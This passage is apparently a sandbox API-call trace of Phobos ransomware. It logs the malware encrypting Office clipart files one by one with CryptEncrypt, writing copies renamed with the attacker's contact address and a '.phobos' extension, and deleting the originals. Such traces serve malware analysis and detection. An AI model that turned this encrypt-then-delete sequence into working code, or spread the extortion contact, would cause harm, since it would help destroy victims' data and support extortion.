lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=8424) returned 1 [0171.051] CloseHandle (hObject=0x2e8) returned 1 [0171.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0171.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.052] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.052] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0171.053] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1590) returned 1 [0171.053] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.053] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x20e8, lpOverlapped=0x0) returned 1 [0171.171] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x20f0) returned 1 [0171.171] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x20f0, lpOverlapped=0x0) returned 1 [0171.172] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1a50) returned 1 [0171.172] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.172] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0171.172] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0171.172] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0171.172] CryptDestroyKey (hKey=0x1d1590) returned 1 [0171.172] CloseHandle (hObject=0x2e8) returned 1 [0171.172] CloseHandle (hObject=0x2c4) returned 1 [0171.172] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0171.175] SetEvent (hEvent=0x298) returned 1 [0171.175] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0171.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0171.175] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=10816) returned 1 [0171.175] CloseHandle (hObject=0x2c4) returned 1 [0171.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0171.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0171.176] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.176] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.177] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a50) returned 1 [0171.177] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.177] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x2a40, lpOverlapped=0x0) returned 1 [0171.742] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2a50) returned 1 [0171.742] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x2a50, lpOverlapped=0x0) returned 1 [0171.743] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0171.743] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.743] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0171.743] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0171.743] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0171.743] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0171.743] CloseHandle (hObject=0x2c4) returned 1 [0171.743] CloseHandle (hObject=0x2e8) returned 1 [0171.743] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0171.745] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0171.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.746] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=16396) returned 1 [0171.746] CloseHandle (hObject=0x2e8) returned 1 [0171.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0171.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.747] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.747] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0171.747] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0171.747] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.747] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x400c, lpOverlapped=0x0) returned 1 [0171.981] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x4010, dwBufLen=0x4010 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x4010) returned 1 [0171.981] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x4010, lpOverlapped=0x0) returned 1 [0171.986] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1450) returned 1 [0171.986] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.986] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0171.986] CryptDestroyKey (hKey=0x1d1450) returned 1 [0171.986] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0171.986] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0171.986] CloseHandle (hObject=0x2e8) returned 1 [0171.986] CloseHandle (hObject=0x2c4) returned 1 [0171.986] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0171.989] SetEvent (hEvent=0x298) returned 1 [0171.989] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0171.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0171.990] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=4796) returned 1 [0171.990] CloseHandle (hObject=0x2c4) returned 1 [0171.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0171.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0171.991] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.991] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0171.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0171.992] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a90) returned 1 [0171.992] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0171.992] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x12bc, lpOverlapped=0x0) returned 1 [0173.717] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x12c0) returned 1 [0173.717] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x12c0, lpOverlapped=0x0) returned 1 [0175.697] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0175.697] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0175.697] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0175.697] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0175.697] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0175.697] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0175.697] CloseHandle (hObject=0x2c4) returned 1 [0175.697] CloseHandle (hObject=0x2e8) returned 1 [0175.697] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0175.699] SetEvent (hEvent=0x298) returned 1 [0175.699] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0175.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0175.700] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=5098) returned 1 [0175.700] CloseHandle (hObject=0x2e8) returned 1 [0175.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0175.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0175.700] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0175.700] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0175.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0175.701] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d14d0) returned 1 [0175.701] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0175.701] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x13ea, lpOverlapped=0x0) returned 1 [0175.923] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x13f0) returned 1 [0175.923] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x13f0, lpOverlapped=0x0) returned 1 [0175.927] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d17d0) returned 1 [0175.927] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0175.927] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0175.927] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0175.927] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0175.927] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0175.927] CloseHandle (hObject=0x2e8) returned 1 [0175.927] CloseHandle (hObject=0x2c4) returned 1 [0175.927] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0175.929] SetEvent (hEvent=0x298) returned 1 [0175.929] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0175.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0175.930] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=17406) returned 1 [0175.930] CloseHandle (hObject=0x2c4) returned 1 [0175.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0175.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0175.930] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0175.930] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0175.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0175.931] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0175.931] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, 